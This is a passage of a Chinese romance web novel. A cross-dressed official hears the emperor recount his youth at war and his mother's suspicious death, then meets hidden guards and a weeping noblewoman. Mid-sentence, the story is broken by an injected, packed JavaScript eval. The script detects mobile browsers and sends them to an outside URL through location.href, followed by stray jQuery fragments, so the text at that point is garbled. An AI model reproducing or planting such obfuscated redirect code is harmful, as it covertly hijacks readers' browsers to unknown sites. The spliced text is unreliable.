夏怀风诧异地看了她一眼,似是没想到她居然如此信任祁珩。正准备吊一吊谢清仪的胃口,还没来得及说话,门外便传来一阵清晰的脚步声。
帘子被掀开,祁珩大步流星地走进来,“什么翻身仗?”
他似是刚从猎场回来,一身玄色骑装,身上还带着些凌冽的杀气,行走间掀起的微风卷起了脚下的纤尘。
身后还跟着冷着脸的耿帅。
福满虽然告诉她祁珩空了就会来看她,但谢清仪没想到祁珩来的这么快,她还想继续听夏怀风将祁珩以前的事情呢。
可现在当事人都回来了,也不好当着他的面继续打听以前的事情,更何况这些事情可能还涉及到了皇室的一些秘辛。
并且还生出了些被抓包的心虚感。
夏怀风显然没有这种自觉,反而一脸兴奋地望着八卦当事人,“我们再说陛下以前领兵打仗的事呢,谢大人很感兴趣。”
谢清仪,“......?”
她真的会谢!
刚想辩解几句,对上祁珩那张清冷的脸却突然说不出来了。
祁珩挑了挑眉,眼底因为狩猎激起的杀意渐渐褪去,眉梢流露出些许温柔,“这么想听不如直接问朕?”
夏怀风被他那副宠溺的语气激得鸡皮疙瘩四起,他夸张地揉了揉耳朵,一脸嫌弃,“你最近怎么说话越来越娘兮兮的。”
这语气细究起来有些没大没小了,但谢清仪知道夏怀风母亲与先皇后同出一族,按辈分说起来祁珩还要叫夏怀风一声表兄呢。
祁珩斜睨了他一眼,没说话。
反倒是谢清仪有些不好意思,耳尖悄悄灼上一抹绯色。
她目光扫到耿帅手中提着的竹篮,眼睛一亮,里面居然装着一只灰褐色的肥兔子!
祁珩顺着她的视线看去,勾了勾唇,语气中悄悄藏着些得意,“捉了只兔子给你解闷...”
“今晚吃兔兔!”
两道惊喜的不分前后地响起
祁珩,“......”
祁珩深吸口气,漠然地顺着她的话改了句,“嗯,给你做油焖兔子。”
简直十分自然,毫无修改痕迹。
果然,不能用常理去揣测谢清仪,她就没按常理出过牌。
许是他脸上无语的表情太过于生动,谢清仪终于忍不住低声笑了出来,露出一排整齐的小白牙,“臣开玩笑的,这只兔子是给臣解闷的吧。”
祁珩被她明媚的笑容晃了一下,默默站在后面的耿帅识趣地上前几步将兔子放到榻边的矮几上。
世事无常,谁能想到当日的死敌居然有一日会成为自己人,还是陛下面前的大红人呢。
果然人比人气死人。
谢清仪毫不在意他沉冷的脸色,她眼睛一弯,轻声道谢,“多谢耿大人。”
然后她就看到那位传说中的冷面煞神蹭地一声红了脸,咬着牙瞪了她一眼,而后转身大步出去了,看背影颇有几分落荒而逃的意味。
谢清仪:......?
怎么了,她又得罪这位禁军统帅了?
见耿帅出去了,夏怀风也有些蠢蠢欲动地站起身,他本就坐不住,早上正想出去溜几圈,就被祁珩逮住了。
这会儿既然祁珩自己来了,那他就能功成身退了吧。
祁珩似笑非笑的目光投了过来,夏怀风神色一凛,瞬间心领神会地出去了。
两人一走,帐中便只剩下她和祁珩,还有一只肥美无比,正吧唧吧唧啃萝卜的兔子。
气氛一时有些尴尬。
谢清仪不知道该说什么,便假装对兔子感兴趣,兴致勃勃盯着它吃萝卜。
静默几息,祁珩率先打破了平静,“不是想知道朕以前带兵打仗的事,要不要听?”
他语气低沉,还带着一丝不自觉的诱哄,听得谢清仪耳朵发麻,一时间有些分不清究竟是祁珩的声音太低沉,还是她觊觎祁珩太过,耳中出现了幻觉。
她感觉,他们之间的气氛有些过于暧昧了......
祁珩也会和别的臣子讲这些事情吗,这种态度和语气?
为了掩饰心中那一丝悸动与慌乱,她玩笑道,“臣听完还能活着回到京都城吗?”
“......”
祁珩轻笑,“谢卿可是我大苍栋梁之材,朕可不敢随意处置。”
他语气温柔,谢清仪却隐约觉得他们之间有什么不一样了。
可她现在是男儿身啊,难道......
祁珩真有断袖之癖?
她悚然一惊,被自己脑中的想法吓到了。
祁珩见她目光呆滞,还隐隐有些惊恐,也不知是又想到了什么,有些无奈的开口,“谢卿。”
“嗯?”谢清仪回神。
她不欲深想,很快就将思绪拉回到刚刚的话题上,斟酌着开口,“那不如请陛下讲讲?”
祁珩默了片刻,似是在回忆那一年的情形,半响,才开口道,“其实好多事朕已经记不太清了,只记得那几年先帝一直在找机会废黜朕的储君之位,恰逢漠北战事吃紧,先帝便派朕去了前线,名义上是替先帝御驾亲征,其实是为了让朕永远也回不来......”
谢清仪心脏猛地一缩,泛起一阵难以言喻的心痛。
先前听夏怀风讲的时候她并没有多么难过,而现在听祁珩用这种平淡的声音讲出来,便觉浑身难受,心痛至极。
当时祁珩才十五六岁,从未有过领兵经验,战争残酷,他那么小,不知道吃了多少苦......
祁珩话音一顿,转头才发现谢清仪眸光盈盈,眼中是难掩的心疼之色。
这是,在心疼他?
他心跳急促了几分,半响才找回自己的声音,“可惜,先帝到底是小看了朕,真实的战场确实变化莫测,但朕那几年也不全然只会纸上谈兵,不久后,漠北大捷的消息传回京都城,先帝召朕回京,一同传来的,还有我母妃的死讯。”
!
谢清仪倏地抬眸,“陛下......”
祁珩目光平淡,当年足以击垮他的消息,现在再回想起来却在没有当时的波澜了。
反而安抚地看了眼谢清仪,继续道,“朕回京后,母妃已经被下葬了,他们都说母妃是因为嫉妒万贵妃受宠,多年来郁结于心,想不开才跳了井。”
谢清仪闭了闭眼,几乎不忍再听下去,她原以为夏怀风会给她讲一个祁珩神勇无比,打得敌军节节败退的爽文故事,却没想到后面还有如此令人痛心的事情。
她是孤儿,没有感受过父母亲情,但也能想象到,相依为命的母妃不明不白的去世,自己却连遗体都没见到该是多么令人心碎......
“臣猜,先皇后并不是...”她哽咽一声,再也说不下去了。
祁珩没想到她反应如此大,也顾不上回忆过去了,“不必替朕难过,母妃确实不是死于投井自杀,朕这几年已经查清楚了原因,该死的人朕一个都不会放过。”
他眼中戾气一闪而过,但怕吓到谢清仪,便又恢复了往日的平静。
谢清仪偏了偏头,平复了心中汹涌的怒意。
不用想也知道,此事定然与万贵妃、万奉先以及瑞王脱不了关系。
谢清仪有些后悔让祁珩讲这些事情,只好生硬的转移了话题,“臣感觉身体好多了,明天可以去看陛下狩猎吗?”
祁珩嘴角微挑,顺着她的话接道,“明日朕教你骑射。”
似乎想到了什么,他又补充了句,“放心,朕慢慢教,不会难受的。”
谢清仪有些抗拒,但转念一想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15092911|157615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,祁珩亲自教她骑马,心中不禁产生些许期待。
外面传来耿帅的声音,祁珩应了声,便出去了。
谢清仪长舒口气,身子一松往后靠去,目光一转,落在旁边啃完萝卜睁着眼睛乖乖窝着的兔子身上。
小兔子似是察觉到了她的目光,身子一转将屁股冲着她,还蹬了蹬后腿,一副不乐意搭理她的样子。
谢清仪,“......”
不愧是耿大人带来的兔子,简直一个模子里刻出来的。
大概是药效上来了,谢清仪盯着兔子,不一会儿就睡过去了。
......
再醒来已经是下午了,谢清仪只觉神清气爽,身体已经没有哪里不舒服了。
她起身穿上衣服,偷偷挪到门口望了眼外面,大概是都去狩猎场了,帐外空无一人。
谢清仪昨晚出了一身汗,这会儿实在是忍不了了,再加上裹胸紧紧贴在身上勒得她浑身难受,趁着这会儿没人,她可以打点水擦一下身体,松快松快。
她撩开帘子走出去,原本寂静的空气中突然传来破空声,谢清仪只觉眼前一黑,在抬眼望去,便见前方空地处整齐的跪着一排黑衣人。
谢清仪,“!”
她只觉背脊发凉,毛骨悚然,“你们......”
众人低着头,齐声回复,“陛下派我等暗中保护大人。”
其中一个黑衣人抬起头,目光肃然,“在下卫七,大人有何事情随时叫属下即可。”
卫七之前被祁珩安排在暗中保护谢清仪,这次也是祁珩安排他春狩跟随,并找个适当的机会出现在谢清仪眼前。
之后祁珩会再趁机光明正大地将他指派给谢清仪,让谢清仪知道身边一直有暗卫保护。
谢清仪拍了拍被他们吓到的心脏,示意他们起身,“多谢各位侍卫大哥,我想回自己的帐子换身衣服,各位请便。”
想必是祁珩担心万奉先趁机搞事,所以才派人跟着她。
她朝众人点了点头,随即眼前又是一黑,几人唰地消失在原地。
简单清洗以后,谢清仪换了身宽松舒适的长袍,晃晃悠悠往外走去。
在帐子里闷了两天,实在有些受不了了,她打算去旁边的林子里逛逛,反正身边有暗卫跟着,也不怕出事。
猎场在另一边,她有心避开人群,要是被祁珩看到她偷偷溜出来就不好了。
午后阳光洒在林间,微风轻拂树枝,缀下一地斑驳的阴影,丹露山树林茂密,谢清仪也不敢走得太深,只在边缘逛了逛。
正要返回营地,寂静的林间却隐约传来几声低沉的声音。
谢清仪脚步一顿。
有人在哭?
她犹豫片刻,小声喊了句,“卫七。”
身后的茂密的林间传来唰唰声,似在回应她。
谢清仪松了口气,原本往回走的脚步一转,向着哭声处走去......
绕过不远处一块大石头,她看见一个身形娇小的女子缩在树荫下,抱着膝盖,肩膀时不时轻轻颤动。
哭声正是从她那儿传来的。
犹豫片刻,谢清仪还是走了过去。她本不想去打扰别人的,这女子打扮华贵,想来是本次春狩随行大臣的家眷,远离人群跑到这儿来哭,肯定是不想被人发现。
可她望着那女子的背影,却觉得似曾相识,思虑再三还是决定去看看。
“姑娘?”
那女子哭得昏天黑地,完全没注意到周围有脚步声传来,此时被谢清仪的声音一惊,慌忙起身躲在了树后面,只露出了一张苍白却娇媚的脸。
原本是国色天香的相貌,只是此时脸上泪痕斑驳,多了几分狼狈。
谢清仪目光扫过那张有些眼熟的脸,迟疑着开口,“万小姐?”